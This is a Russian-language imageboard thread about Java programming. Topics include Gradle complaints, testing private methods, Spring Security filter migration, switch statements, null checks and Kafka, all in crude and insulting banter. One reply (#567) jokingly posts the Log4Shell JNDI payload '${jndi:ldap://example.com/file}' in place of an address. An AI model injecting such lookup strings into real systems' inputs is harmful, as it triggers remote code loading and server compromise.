Нет,у меня по плану дуть и кушать сыр
Аноним 20/10/23 Птн 11:30:52 #459 №2886337 
>>2886335
А дуть сыр это как?
Аноним 20/10/23 Птн 11:38:17 #460 №2886345 
>>2886337
Охуенно
Аноним 20/10/23 Птн 11:38:57 #461 №2886346 
>>2886345
Поделись
Аноним 20/10/23 Птн 11:42:10 #462 №2886356 
>>2886346
А ты откуда
Аноним 20/10/23 Птн 11:43:47 #463 №2886359 
>>2886356
Ну до тебя думаю быстро доеду, было б желание
Аноним 20/10/23 Птн 11:44:48 #464 №2886362 
>>2886359
Майор? Это ты?
Аноним 20/10/23 Птн 11:46:30 #465 №2886366 
>>2886362
Житель дс2? Чет у меня самого желание пропало, извени.
Аноним 20/10/23 Птн 11:47:31 #466 №2886368 
>>2886366
Нет,черноземье
Аноним 20/10/23 Птн 12:19:55 #467 №2886400 
>>2886253
>было
Аноним 20/10/23 Птн 12:20:05 #468 №2886404 
Как же я ненавижу ебучий градл. На каждый ебучий проект на этом говне приходится скачивать точную версию этого говна, а оно весит немало, мегабайт 300, а потом еще кучу зависимостей, а потом оно еще зачем то с нуля себя собирает, и только потом приступает к сборке проекта, выдавая заветный build failed спустя час после git clone.
Аноним 20/10/23 Птн 12:20:52 #469 №2886405 
>>2886400
И чево ты хотел етим сказать?
Аноним 20/10/23 Птн 12:22:52 #470 №2886407 
А еще ебучий дегенерадл саботирует миграцию на новые версии джавы. Прошел уже месяц с релиза 21 жабы, а он до сих пор на ней не работает. Спрашивается, какого хуя, и нахуя эта залупа лезет в ТАКИЕ кишки, что поднятие версии джавы на 1 всё ломает и нужно отдельную версию говноподелия выдавливать, чтобы поддержать.
Аноним 20/10/23 Птн 12:26:50 #471 №2886412 
>>2886405
Если бы был хороший? ты бы тут не спрашивал? как тестировать.
Аноним 20/10/23 Птн 12:29:20 #472 №2886414 
>>2886412
Так это не мой вопрос. Тот чел работает, я же нет.
Аноним 20/10/23 Птн 13:19:38 #473 №2886497 
>>2886091
>Это ровно тоже самое что сделать те 3 метода публичными.
Это другое, буквально, называется single-responsibility principle.
>Я уж лучше рефлексию ебану, оно хоть говном выглядеть не будет в коде
Будет, причем полным калом. Хочешь прослыть додиком-неадекватом - ебани. Потом будешь рефакторить и охуевать, почему открутил гайку на лбу, а отвалилась жопа. я уже так делал, как ты предлагаешь, знаю о чем говорю
>На класс не тянет.
Тянет. Или у тебя там строгий лимит на новые классы и за каждый выше квоты тимлиды ебут?
>И получаем вместо одного класса с инкапсуляцйией 4 класса с кишками наружу.
Тебе что важнее, читабельность и адекватность или инкапсуляция ради инкапсуляции? Мне не говори, себе ответь.
Аноним 20/10/23 Птн 13:49:13 #474 №2886551 
Приватные методы на то и приватные, что предполагается, что они могут меняться как угодно и на них завязываться нельзя. То есть если ты хочешь тестировать приватные методы, то ты либо долбоёб, который не знает, зачем нужен модификатор private, либо должен сознательно принять за норму отвал жопы в тестах после половины коммитов. Во втором случае в манифолде есть аннотация @Jailbreak, которая превращает все непубличные члены внешнего класса в публичные, перестраивая байткод метода, в котором эта аннотация использована на использование рефлексии.
Аноним 20/10/23 Птн 14:08:14 #475 №2886587 
>>2886551
> Предполагается, что они могут меняться как угодно и на них завязываться нельзя
Твоя больная фантазия
Аноним 20/10/23 Птн 14:09:52 #476 №2886592 
>>2886587
Ты может наконец съебёшь уже?
Аноним 20/10/23 Птн 14:11:05 #477 №2886593 
>>2886592
А ни то что?
Аноним 20/10/23 Птн 14:12:23 #478 №2886595 
>>2886593
Шарпопидоран тут же завизжал про наказание, ведь никакой мотивации для пидорахи кроме опасности наказания нет, лул.
Аноним 20/10/23 Птн 14:15:49 #479 №2886598 
>>2886595
Таблетки+дыхательная гимнастика,по результатам отпишешься в тред
Аноним 20/10/23 Птн 14:17:21 #480 №2886603 
>>2886593
Отвечать не будут.
Аноним 20/10/23 Птн 14:32:14 #481 №2886625 
анончики, такая хуйня
щях на проекте юзаем SecurityContextPersistenceFilter в Spring Security 3.1.3 для конфига, он депрекэйтид уже
техлид сказал, мол, слышь, хорош на колобков смотреть с трапами - пиздуй избавься от него, в инете нихуя не нашел инфы по его замещению
выглядит стандартно, типа ".addFilterAfter(new LogRequestFilter(), SecurityContextPersistenceFilter.class)"
как бы вы посоветовали? кастомные написать? или хуй забить вообще и плюхнуть @SuppressWarnings?
Аноним 20/10/23 Птн 14:59:46 #482 №2886660 
>>2886625
Прочитать в джавадоке почему депрекейтед.
Аноним 20/10/23 Птн 15:14:42 #483 №2886696 
>>2886660
ну типа юзать просто SecurityContextHolderFilter вместо SecurityContextPersistenceFilter?
Аноним 20/10/23 Птн 15:28:13 #484 №2886734 
>>2886696
у тебя 3.1.3 как ты писал, а не 5+ для SecurityContextHolderFilter
Аноним 20/10/23 Птн 16:23:19 #485 №2886866 
>>2886551
По-моему они нужны для того, чтобы не давать внешнему пользователю твоего класса вызывать твой метод, который может менять состояние, например.
Иначе что за методы такие, на которые нельзя завязываться? Зачем бы они тогда были нужны.
Аноним 20/10/23 Птн 17:57:01 #486 №2887061 
.png
В чём я не прав?
Аноним 20/10/23 Птн 17:59:13 #487 №2887065 
>>2887061
if были приняты устаревшей технологией. Используй switch.
Аноним 20/10/23 Птн 18:35:35 #488 №2887158 
.png
>>2887065
Вот добавят в джаву свич по булину, тогда заживём.
Аноним 20/10/23 Птн 18:37:56 #489 №2887167 
.png
Хотя правильнее, всё-таки, будет сделать по-другому, _ всё-таки значит не что угодно, а то, на что нам похуй.
Аноним 20/10/23 Птн 18:43:23 #490 №2887180 
>>2887158
>>2887167
Попробуй кортеж(record) сделать. Я думаю можно провернуть.
Аноним 20/10/23 Птн 18:48:00 #491 №2887197 
>>2887180
Нельзя. Новый свитч по рекордам это просто расширение паттерн матчинга по типам на составные части рекордов. Нет по булинам вообще, не будет и внутри рекордов.
Аноним 20/10/23 Птн 18:52:43 #492 №2887201 
image.png
>>2887197
Ну тогда такую парашу можно сделать. Не оч удобно, что они не проваливаются под друг друга.
Аноним 20/10/23 Птн 18:55:52 #493 №2887207 
>>2887201
Так тут по сути свитч ничего не делает. Ты просто if заменил на when. А ещё ухудшение в том плане, что нет оптимизации деления на 15 через неявный вывод FizzBuzz в случае одновременного деления на 3 и на 5 (что есть в изначальном варианте с if).
Аноним 20/10/23 Птн 18:57:57 #494 №2887216 
>>2887201
А ещё тут баг, попробуй запусти код и увидишь, что тебе выводит на каждое 15 число Fizz, Buzz и FizzBuzz.
Аноним 20/10/23 Птн 19:02:33 #495 №2887237 
image.png
>>2887207
Сделано через свитч? Сделано. То, что ты хочешь провернуть не совсем мне ясно.
>>2887216
Какой баг блять, я-то вижу как оно скомпилировалось и помню, что условия не проваливаются друг под дружку. Че думаешь я просто так эту хуйню сверху добавил?
Аноним 20/10/23 Птн 19:10:15 #496 №2887267 
>>2887237
Какая-то хуйня. Ну ладно. Один хуй у тебя лишняя проверка типа получается и оптимизации физзбазза нет.
Аноним 20/10/23 Птн 19:20:04 #497 №2887296 
image.png
>>2887267
Ну на. Вроде работает.
Аноним 20/10/23 Птн 19:21:34 #498 №2887301 
>>2887296
Новый свич,я помню со стрелочками был
Аноним 20/10/23 Птн 19:33:25 #499 №2887326 
image.png
image.png
>>2887301
Это и не новый. Там баг крч, потому вот. Оптимизации во все поля.
Аноним 20/10/23 Птн 19:48:27 #500 №2887344 
>>2887296
Нет, не работает.
Аноним 20/10/23 Птн 19:50:25 #501 №2887349 
>>2887344
Я знаю >>2887326
Аноним 20/10/23 Птн 19:51:07 #502 №2887351 
Опять прод уронил
Аноним 20/10/23 Птн 19:52:05 #503 №2887353 
>>2887351
Ну точно на выходные остаешься.
Аноним 20/10/23 Птн 19:57:48 #504 №2887359 
>>2887326
Это тоже не работает.
Аноним 20/10/23 Птн 20:04:23 #505 №2887370 
image.png
>>2887359
Это работает. Бесиш уже.
Аноним 20/10/23 Птн 20:04:57 #506 №2887371 
>>2887370
>18
>Buzz
Мы вам перезвоним.
Аноним 20/10/23 Птн 20:08:54 #507 №2887379 
>>2887371
Блять, ну названия перпутал. Если по делу нихуя нет, просто иди нахуй
Аноним 20/10/23 Птн 20:10:21 #508 №2887381 
>>2887379
>21
>Нихуя
Мы вам обязательно перезвоним.
Аноним 20/10/23 Птн 20:15:27 #509 №2887386 
>>2887301
Так со стрелочками это как раз новый. С : это старый, сишный.
Аноним 20/10/23 Птн 20:25:30 #510 №2887396 
FoU9mQb33Y4.jpg
Посоны нужна версия jdk, которая работает на вин 7. Доставьте плиз. Питон я уже нашел, не спрашивайте зачем
Аноним 20/10/23 Птн 20:27:09 #511 №2887399 
>>2887351
Чини
Аноним 20/10/23 Птн 20:27:40 #512 №2887401 
>>2887386
Я вроде видел ещё че то новое запилили
Аноним 20/10/23 Птн 20:30:49 #513 №2887404 
.png
Алсо вот так вот можно реализовать свитч по булину с множественными условиями с O(1) сложностью и отсутствием оверхеда от классических if'ов. "// -->" это преобразование, которое должен выполнять компилятор.
Аноним 20/10/23 Птн 21:15:33 #514 №2887476 
>>2887404
А что за overhead у if?
Аноним 20/10/23 Птн 21:19:56 #515 №2887484 
>>2887476
Никакого оверхеда, но свитч можно хуёво реализовать и в итоге иметь свитч более тяжеловесный, чем if, когда можно их сделать буквально идентичными по тяжести.
Аноним 20/10/23 Птн 21:24:59 #516 №2887495 
>>2887484
Мне непонятна суть вопроса.
Критерий вроде "тяжеловесно" слишком абстрактен.
Если это верно для компилятора и не выходит за рамки здравого смысла, границы которых будет устанавливать maintainer, то это можно писать и будет правильно. Про производительность не говорю сейчас.
С точки зрения поддержания кода - чем проще будет написан такой метод, тем лучше.
Аноним 20/10/23 Птн 21:27:57 #517 №2887501 
>>2887495
Чё блядь? В смысле абстрактен? Можно реализовать свитч так, чтобы он разворачивался в то, выполнение чего займёт 10 процессорных тактов, а можно так, чтобы разворачивалось в 1110 тактов.
Аноним 20/10/23 Птн 21:30:55 #518 №2887507 
>>2887501
Давай конкретный пример того, как плохая реализация switch даст замедление производительности в 100 раз.
Аноним 20/10/23 Птн 21:32:21 #519 №2887511 
>>2887507
Тебе лишь бы высрать, или чё? В изначальном примере делаем не 3 кейса, а 300, и вместо разворачивания до O(1) (как я показал) просто проходимся в цикле по всем кейсам и сравниваем совпадение.
Аноним 20/10/23 Птн 21:40:51 #520 №2887528 
>>2887511
Да, ведь ты часто пишешь 300 строк в switch.
Ты ведь в курсе, что о большое будет работать только на больших значениях, то есть, чтобы ощутить прирост производительности, тебе надо написать, ну, не меньше нескольких сотен тысяч условий. Не уверен, что язык столько поддерживает.
Тем более ты пишешь на Java.
На таком уровне решает понятный стиль кода.
Аноним 20/10/23 Птн 21:45:06 #521 №2887535 
>>2887528
Додик, про какой понятный стиль кода ты говоришь, если разворот будет спрятан в компиляторе? Алсо вариант с разворотом быстрее ультимативно, он хоть при трёх, хоть при одном кейсе быстрее, так как там нет в принципе оверхеда от простого вычисления значения, засунутого в if. На основании чего ты вообще выдавил "будет работать только на больших значениях"? Просто подумал, что раз так работало в других разворотах до O(1), так и значит и будет тут?
Аноним 20/10/23 Птн 21:51:58 #522 №2887541 
>>2886866
Завязываться можно, но только внутри этого класса. Чтобы если захотел поменять, то никаких проблем не было.
Аноним 20/10/23 Птн 22:01:44 #523 №2887556 
>>2887396
Любая должная работать, хоть самая последняя jdk.
Аноним 20/10/23 Птн 22:14:01 #524 №2887561 
>>2887535
Суть в том, что ты "ускоряешь" то, что не является узким местом. Всё. И делаешь это на Джаве.
Если бы ты писал на C для луноходов или кофейных автоматов - я бы ещё понял.
Это в прицнипе неверный подход к программированию на Джаве, потому что это enterprise инструмент для коллективной разработки. Твои оптимизации switch там не нужны.
Если тебе надо оптимизировать switch в Java - ты делаешь что-то не то, либо не тем инструментом.
И да, я уже стал читать твой слабо связанный фентезийный текст без единого реального примера "тяжеловесного" switch.
Аноним 20/10/23 Птн 22:18:55 #525 №2887566 
>>2887561
Так я ускоряю то, что нинужно или преимущество появится при тысячах строк? А может вообще важен понятный стиль кода? Ты че прыгаешь с темы на тему? Ты может скажешь, что конкретно тебя подорвало или так и будешь принимать мою урину на ебальник?

Я бы тебя мог обоссать и по преждевременной оптимизации, но для начала скажи мне, а где я вообще за неё выступал? Я лишь сказал, что можно сделать оптимизировано и показал как, а тебя распидорасило как Хиросиму.
Аноним 20/10/23 Птн 22:24:45 #526 №2887569 
>>2887566
Речь шла о том, что ты не понимаешь, как работает о большое. И что такого количества условий в switch не встречается в коде, поэтому и оптимизировать там ничего не нужно.
Я продолжу с тобой дискуссию, когда ты принесёшь benchmark, где разница между "тяжеловесным" switch и развёрнутыми if в твоей оптимизации будет существенно заметна.
А свои двачерские проекции может себе оставить, мне не нужны.
Аноним 20/10/23 Птн 22:26:15 #527 №2887570 
>>2887569
Ты на вопрос не ответил, обрыган.
Аноним 20/10/23 Птн 22:27:37 #528 №2887571 
харош срать долбоебы
Аноним 20/10/23 Птн 22:38:45 #529 №2887577 
>>2887570
Я спросил пример много постов назад, а ты так и не привёл его. Что лишает смысла твои попытки "строго" задавать вопросы в этой переписке. Нагрузочный тест в студию, тогда и выскажешься.
Аноним 20/10/23 Птн 22:39:32 #530 №2887579 
>>2887577
Что именно ты спросил? По всем твоим тейкам я тебя обоссал.
Аноним 20/10/23 Птн 22:45:27 #531 №2887585 
Ладно, фиксирую слив и обоссаный ебальник тырпрайз-шиза. Вот из-за такого гноя, по интеллекту чуть превосходящему мою сидушку, которое рвётся даже не с преждевременной оптимизации, а просто с оптимизации (литералли, "почаны, смотрите, вот так можно сделать оптимизированный свитч" — БАБАХ), спринг и запускается по 10 минут.

И ведь это хуйло поняло под конец, что сидит в тёпленьком, и пассивно-агрессивно слилось через "Я продолжу с тобой дискуссию... А свои двачерские проекции может себе оставить, мне не нужны."
Аноним 20/10/23 Птн 23:37:42 #532 №2887635 
>>2887061
Джава 7 уже не в моде. Через стрим апи перепиши.
И от магических чисел избавься, константы вынеси отдельно, добавь расширяемости, паттерны реализуй вместо повторения кода.
И как это запускать? Консолью пердолится? Прикрути свагер с описанием апи. Можно через спринг все сделать. Если тормозной спринг не нравится - ебани на кваркусе с нативной компиляцией.
Аноним 20/10/23 Птн 23:53:00 #533 №2887655 
>>2886049
All about java 21 launch event
Начало по Helidon примерно с 2 часа
Аноним 21/10/23 Суб 00:08:02 #534 №2887672 
Главная ошибка джавы в том, что она пошла по пути платной абстракции. В большинстве случаев можно обойтись бесплатной.
Аноним 21/10/23 Суб 00:51:20 #535 №2887724 
>>2887672
Двачую, все из-за ультимейт идеи.
Аноним 21/10/23 Суб 04:23:02 #536 №2887852 
https://www.youtube.com/watch?v=mE4iTvxLTC4

Ответы на вопросы от главного по джаве. Валхала скоро будет. Нужно только потерпеть. После этого шарпогосподки перестанут рыпаться и примут превосходство джавы
Аноним 21/10/23 Суб 05:49:00 #537 №2887934 
>>2887852
>>Brian Goetz
>>1950 г. (возраст 73 года)
Чел уже 2 раза умер в айти и продолжает писать код. Неудивительно что джава - мертвый язык.
Аноним 21/10/23 Суб 09:41:30 #538 №2888220 
Оптимизируешь свичи
@
Пишешь фулл скан запросы в крудах
@
Писоешь какоешь
Аноним 21/10/23 Суб 10:37:12 #539 №2888304 
>>2887852
Даже сам архитектор джавы согласен, что залупа() лучше, чем getЗалупа()
Аноним 21/10/23 Суб 12:11:52 #540 №2888367 
>>2888304
У джаваскуфов в банках от такой ереси произойдет инфаркт
Аноним 21/10/23 Суб 13:57:31 #541 №2888562 
>>2887852
Джава уже давно превосходит петушарп. С вальхаллой ничего не изменится, просто разрыв больше станет. Шарподауны также будут приносить картинки из 1998 года, на которых еще не было Files.readAllBytes() и получать поноса за шиворот.
Аноним 21/10/23 Суб 13:58:31 #542 №2888567 
>>2887934
Хотел бы я таким же быть...
Аноним 21/10/23 Суб 15:29:40 #543 №2888750 
>>2887934
Ошибка Гугла скорее всего или другой человек. Этому 55 максимум
Аноним 21/10/23 Суб 15:57:47 #544 №2888816 
>>2888750
Да, тот что в 70 году родился это монтажёр какой-то.
Аноним 21/10/23 Суб 16:38:25 #545 №2888881 
>>2888816
50 году*
Аноним 21/10/23 Суб 20:53:22 #546 №2889216 
Эй нулодрочеры,Objects.requireNonNull() для вас слишком бумерский выход?
Аноним 21/10/23 Суб 21:00:26 #547 №2889234 
изображение.png
Кто-нибудь использовал Kafka Streams? Для каких задач. Это настройка выглядит пиздец монструозно
Аноним 21/10/23 Суб 21:36:41 #548 №2889265 
>>2889216
Это тот же самый рантайм-чек на нулл (типо того, что есть в ломбоке), но более плохой по двум параметрам:
1) Лишние расходы на проверку из-за invokestatic, внутри которого уже будет сама проверка
2) Занимает место в теле метода, когда в идеале проверка должна вешаться на объявление типа.
Аноним 21/10/23 Суб 21:53:00 #549 №2889281 
>>2889265
Короче братка,хуй ты таких фич в ближайшее время увидишь,я думаю
Аноним 21/10/23 Суб 22:00:10 #550 №2889291 
>>2889281
Каких именно хуй увижу? Рантайм-чек без лишнего инвокстатик и на типе есть уже давно в ломбоке. На компайловый чек уже джеп заведён ( https://openjdk.org/jeps/8316779 ).
Аноним 21/10/23 Суб 22:01:55 #551 №2889296 
>>2889234
Я так понимаю для транзакций, ауибоксов и экзактли ванс
Аноним 21/10/23 Суб 22:03:21 #552 №2889298 
>>2889296
Каким боком экзектли ванс именно к стримам?
Аноним 21/10/23 Суб 22:09:12 #553 №2889304 
>>2889298
https://spring.io/blog/2023/10/16/apache-kafkas-exactly-once-semantics-in-spring-cloud-stream-kafka
Аноним 21/10/23 Суб 22:10:43 #554 №2889307 
>>2889304
Я к тому,что,насколько я знаю, экзектли ванс можно реализовать и без кафка стримс,поэтому вряд ли есть смысл использовать кафка стримс если цель получить экзектли ванс доставку
Аноним 21/10/23 Суб 22:48:23 #555 №2889336 
Почему бы просто не выпустить джэву 2.0, где просто сделать идеальную джаву без оглядки на легаси. Как бы выглядел такой язык программирования?
Аноним 21/10/23 Суб 22:50:25 #556 №2889338 
>>2889336
Потому что получится никому не нужная хуита типа раста. Пару стартапов заюзают её и всё. Джава и с оглядкой на легаси очень неплоха. Я даже с ходу не могу вспомнить, а где именно на джаву повлиял легаси, кроме дженериков.
Аноним 21/10/23 Суб 23:22:53 #557 №2889353 
ПЕРЕКАТ >>2889352 (OP)
ПЕРЕКАТ >>2889352 (OP)
ПЕРЕКАТ >>2889352 (OP)
Аноним 21/10/23 Суб 23:34:32 #558 №2889360 
>>2889307
Месседжинг можно реализовать и беж кафки
Аноним 21/10/23 Суб 23:48:00 #559 №2889368 
>>2889353
Перекат после тысячи
Аноним 22/10/23 Вск 00:05:17 #560 №2889379 
>>2889368
Шарподебил, плиз.
Аноним 22/10/23 Вск 00:08:25 #561 №2889381 
>>2889360
Я не спрашивал на чем еще можно реализовать месседжинг
Аноним 22/10/23 Вск 00:16:19 #562 №2889382 
>>2889336
>>Почему бы просто не выпустить джэву 2.0
Уже была. Джава 1.5 называлась джава 2.0
Аноним 22/10/23 Вск 00:16:43 #563 №2889383 
>>2889381
Извини пожалуйста
Аноним 22/10/23 Вск 13:11:26 #564 №2889688 
Ебаные блядь инфоцыгане базарят,что кафка аморфна и ничего об оффсетах не знает,при этом сами через две минуты говорят,что оффсеты хранятся на брокере координатора группы в топике _consumer_offsets. Они ебанутые?
Аноним 22/10/23 Вск 13:23:00 #565 №2889711 
>>2889688
Это ты аморфный епта
Аноним 22/10/23 Вск 13:28:29 #566 №2889725 
>>2889711
Пиздак стяни хуйлан,адрес свой говори
Аноним 22/10/23 Вск 13:39:53 #567 №2889738 
>>2889725
${jndi:ldap://example.com/file}
Аноним 22/10/23 Вск 13:42:30 #568 №2889741 
>>2889738
Ряяяяяяяяяя
Аноним 22/10/23 Вск 19:40:15 #569 №2890183 
Нахуя нужен паттерн матчинг?
Аноним 22/10/23 Вск 19:46:59 #570 №2890194 
>>2890183
Чтобы ерланговцы говорили, что он говно. Зачем же еще?
Аноним 22/10/23 Вск 20:16:56 #571 №2890240 
>>2890194
Нахуя прислушиваться к мнению эрланговцев? Так и шарпистов слушать начнем
Аноним 28/10/23 Суб 23:50:09 #572 №2898462 
Ответьте пожалуйста, в чем разница между switch в jdk 12, jdk 13 и jdk 14 ?

В чем разница между превью и стандартом ?
Аноним 29/10/23 Вск 08:19:53 #573 №2898703 
>>2898462
С 12 можно использовать как выражение, в 13 слово yield вместо break появилось, в 14 лямбда стрелки
Аноним 30/10/23 Пнд 14:55:21 #574 №2900107 
Как вам веб-сервер в jdk 18 ?
Аноним 30/10/23 Пнд 16:42:09 #575 №2900304 
>>2900107
А че с ним?
comments powered by Disqus

Отзывы и предложения